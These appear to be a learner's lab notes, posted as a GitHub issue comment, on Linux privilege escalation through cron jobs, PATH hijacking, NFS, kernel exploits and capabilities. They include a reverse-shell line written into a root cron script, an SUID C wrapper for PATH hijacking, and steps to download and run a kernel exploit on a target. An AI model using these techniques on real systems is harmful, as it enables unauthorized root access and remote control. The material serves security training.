WDavid404
commented
8 months ago Linux Privilege Escalation-2
Privilege Escalation: Cron Jobs
Command
cat /etc/crontab
Note: " *" means the job will run every minute.
crontab -l : Listing cron jobs for the current user
ls -lah /etc/cron*
Scenario
The following scenario is not uncommon in companies that do not have a certain cyber security maturity level:
1. System administrators need to run a script at regular intervals.
2. They create a cron job to do this
3. After a while, the script becomes useless, and they delete it
4. They do not clean the relevant cron job
Note： If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. 例子：
You can see the backup.sh script was configured to run every minute.
We can edit backup.sh as below to start reverse shell
#! /bin/bash
bash -i >& /dev/tcp/HOST/PORT 0>&1- 教训&经验
- cronjob执行的script文件要确保被设为executable，比如
chmod +x backup.sh - cron job执行的script文件里生成的dir是在root用户目录下的（除非指定了绝对path）
- cronjob执行的script文件要确保被设为executable，比如
Privilege Escalation: PATH
- 思路：
- What folders are located under $PATH
- Does your current user have write privileges for any of these folders?
- Can you modify $PATH?
- Is there a script/application you can start that will be affected by this vulnerability?
For demo purposes, we will use the script below:
#include <unistd.h>
void main()
{
setuid(0);
setgid(0);
system("thm");
}This script tries to launch a system binary called “thm” but the example can easily be replicated with any binary.
By 'chmod u+s', Our user now has access to the “path” script with SUID bit set.
-
Find writable folders：
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | sort -u -
在PATH加上/tmp：
export PATH=/tmp:$PATH -
create a 'thm' file that call /bin/bash
Privilege Escalation: NFS
NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.
Linux Privilege Escalation
Enumeration
hostname
cat /proc/version（可以看到gcc version）
cat /etc/issue
cat /etc/os-release
uname -a
ps -A: View all running processes
ps axjf: View process tree (see the tree formation until ps axjf is run below)
env
sudo -l
ip route : command to see which network routes exist.
ls
id
/etc/passwd
history
ifconfig
routel
ss -anp
ss -tlpn
cat /etc/crontab
cat /etc/iptables/rules.v4
ls -lah /etc/cron*
crontab -l
sudo crontab -l
grep "CRON" /var/log/syslog https://github.com/WDavid404/Note_tryhackme/issues/2#issuecomment-1767980521
dpkg -l: list applications installed by dpkg
find / -writable -type d 2>/dev/null
cat /etc/fstab: lists all drives that will be mounted at boot time.
mount
lsblk: to view all available disks.
lsmod: enumerate the loaded kernel modules
/sbin/modinfo libata: Displaying additional information about a module 'libata'
netcat
find Command
Automated Enumeration Tools
Privilege Escalation: Kernel Exploits
On target machine $ cd /tmp/ $ wget:9000/ofs
$ chmod +x ofs
$ ./ofs
User xxxx may run the following commands on XXX-M-XHXHK987AW: (ALL) ALL
openssl passwd -1 -salt xxxxxxxx password $1$xxxxxxxx$UYCIxa628.9qXjpQCjM4a.
getcap -r / 2>/dev/null
-r: enables recursive search.
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep /usr/bin/dumpcap cap_net_admin,cap_net_raw=eip /usr/bin/fping cap_net_raw=ep /usr/bin/ping cap_net_raw=ep
上記出力結果を踏まえて、/usr/bin/pingファイルにcap_net_rawというcapabilityが設定されているのが分かります。pingコマンドはRAWソケットとPACKETソケットを使用しています。capabilityという仕組みを用いて、必要な権限だけを与えています。